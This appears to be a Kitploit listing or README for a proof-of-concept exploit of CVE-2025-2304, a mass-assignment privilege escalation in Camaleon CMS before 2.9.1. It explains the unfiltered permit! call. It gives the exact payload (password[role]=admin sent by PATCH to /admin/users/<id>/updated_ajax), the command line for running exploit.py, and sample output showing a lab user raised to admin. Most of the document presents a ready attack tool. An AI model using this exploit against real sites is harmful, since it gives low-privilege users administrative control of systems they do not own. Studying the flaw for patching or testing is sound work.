CVE-2025-2304-Camaleon-CMS-Mass-Assignment-Privilege-Escalation-PoC — Proof-of-concept exploit for a mass assignment privilege escalation vulnerability in Camaleon CMS < 2.9.1. Authenticated low-privilege users can escalate to admin by injecting role parameters. | Kitploit

CVE-2025-2304 — Camaleon CMS Mass Assignment Privilege Escalation (PoC)

Privilege escalation vulnerability in Camaleon CMS < 2.9.1. The updated_ajax endpoint in UsersController calls params.require(:password).permit! without filtering, allowing any parameter to be mass-assigned. An authenticated low-privilege user can escalate to admin by injecting password[role]=admin alongside a password change request.

How it works

Logs in with the provided credentials to obtain a valid session.
Retrieves the current user's ID and role from the profile page.
Sends a PATCH request to /admin/users/<id>/updated_ajax with password[role]=admin injected into the password parameters.
Verifies the role has been updated to admin.

Requirements

Python 3
Install dependencies:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4

Usage

python3 exploit.py http://TARGET -u USER -p PASS

Example:

$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Logging in as esteban...
[+] Logged in successfully
[*] User ID: 3, current role: editor
[*] Sending exploit payload...
[+] Privilege escalation successful! User is now admin.
[+] Login at http://facts.htb/admin with your credentials.

References

Credits

Discovery: Tenable Research
Cleanup & simplification: Esteban Zárate